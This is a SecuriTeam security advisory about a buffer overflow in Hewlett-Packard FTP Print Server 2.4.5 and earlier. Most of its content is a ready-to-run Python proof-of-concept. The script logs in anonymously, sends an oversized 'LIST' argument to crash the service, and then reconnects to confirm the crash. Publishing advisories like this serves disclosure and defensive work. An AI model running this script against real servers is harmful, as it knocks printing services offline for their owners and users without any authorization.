[EXPL] Hewlett-Packard FTP Print Server Buffer Overflow (PoC)

The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Hewlett-Packard FTP Print Server Buffer Overflow (PoC)
------------------------------------------------------------------------


SUMMARY

A vulnerability in Hewlett-Packard FTP Print Server application allows 
remote code execution.

DETAILS

Vulnerable Systems:
 * Hewlett-Packard FTP Print Server version 2.4.5 and prior.

PoC:
#!/usr/bin/python

import sys
from ftplib import FTP

print "Hewlett-Packard FTP Print Server Version 2.4.5 Buffer Overflow 
(POC)"
print "Copyright (c) Joxean Koret"
print

if len(sys.argv) == 1:
    print "Usage: %s <target>" % sys.argv[0]
    sys.exit(0)

target = sys.argv[1]

print "[+] Running attack against " + target

try:
    ftp = FTP(target)
except:
    print "[!] Can't connect to target", target, ".", sys.exc_info()[1]
    sys.exit(0)
try:
    msg = ftp.login() # Login anonymously
    print msg
except:
    print "[!] Error logging anonymously.",sys.exc_info()[1]
    sys.exit(0)

buf = "./A"
iMax = 9

for i in range(iMax):
    buf += buf

print "[+] Sending buffer of",len(buf[0:3000]),"byte(s) ... "

try:
    print "[+] Please, note that sometimes your connection will not be 
dropped. "
    ftp.retrlines("LIST " + buf[0:3000])
    print "[!] Exploit doesn't work :("
    print
    sys.exit(0)
except:
    print "[+] Apparently exploit works. Verifying ... "
    print sys.exc_info()[1]

ftp2 = FTP(target)

try:
    msg = ftp2.login()
    print "[!] No, it doesn't work :( "
    print
    print msg
    sys.exit(0)
except:
    print "[+] Yes, it works."
    print sys.exc_info()[1]


ADDITIONAL INFORMATION





======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages.